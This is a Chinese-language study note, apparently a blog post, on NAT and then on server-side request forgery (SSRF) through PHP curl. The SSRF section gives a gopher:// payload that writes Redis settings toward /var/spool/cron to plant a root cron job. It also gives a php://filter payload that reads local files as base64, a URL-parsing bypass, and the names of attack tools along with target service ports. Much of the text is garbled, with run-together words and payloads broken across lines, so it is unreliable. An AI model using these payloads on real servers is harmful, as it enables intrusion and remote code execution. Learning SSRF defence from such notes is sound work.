1.NAT学习

一种网络通信技术主要用于将私有网络中的内部IP地址转换成公共网络中的公共IP地址以实现局域网内部设备访问互联网的功能。

具体来说Nat有以下几个主要的作用和用途

IP地址转换Nat最主要的功能是在私有网络如家庭、企业局域网和公共网络如互联网之间转换IP地址。

在私有网络中设备通常使用私有IP地址例如192.168.x.x这些地址在互联网上不可路由和识别。

Nat通过将这些私有IP地址映射到公共IP地址使得内部设备可以与外部网络通信同时隐藏了内部网络结构提高了安全性。

IP地址共享Nat允许多个设备共享单个公共IP地址。

这种多对一的映射方式节省了IP地址资源特别是在IPv4地址资源稀缺的情况下Nat可以缓解地址耗尽的问题。

安全性增强Nat作为一种防火墙的一部分能够隐藏内部网络的真实IP地址使得外部网络无法直接访问到内部设备。

这种隐匿性可以增加网络的安全性防止一些未经授权的访问和攻击。

协议转换Nat有时候也可以用于在不同网络协议之间进行转换尽管这并不是其主要的功能。

例如将TCP/IP协议转换成UDP协议。

两台主机分别为web1和web2当我外部主机进行访问222.180.123.18081时,NAT就会立刻反应过来web1是要访问web2的所以立刻就将他的目标ip改成了172

.16.0.25480进行了一轮端口映射后两台主机才能进行通信。

SSRF(service

大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。

curl_exec()

如上图假设攻击者要访问攻击codeeexec这台主机在已经进行信息搜集的情况下我只知道ip但是却无法访问但是我可以访问SSRF这台主机所以利用SSRF这台主机当作跳板攻击codeexec主机这就是SSRF的攻击过程。

file

http://localhost/ssrf/ssrf1.php?

gopher

gopher://127.0.0.1:6325/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%

bash

01%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%

0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron

/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a

$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$

4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

psdict协议用于搭建在线字典服务

gopher协议是一种信息查找系统只支持文本不支持图像已被HTTP替代

5.PHP_CURL学习

Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。

libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。

libcurl同时也支持HTTPS认证、HTTP

POST、HTTP

libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。

漏洞页面代码

这串代码允许你与各种的服务器使用各种类型的协议进行连接和通讯这里也同时引发了SSRF漏洞。

6.实战演练

filephp://filter/readconvert.base64-encode/resourcessrf.php

#base64读取本地文件

http://google.com:80\\127.88.23.245:22/

7/常用payload及工具

cujanovic/SSRF-TestingSSRF服务器端请求伪造测试资源

Ruby

tarunkant/Gopherus此工具生成地鼠链接用于在各种服务器中利用

SSRF

MySQL端口-3306PostgreSQL端口-5432FastCGI端口-9000Memcached

Port-10050SMTP端口-25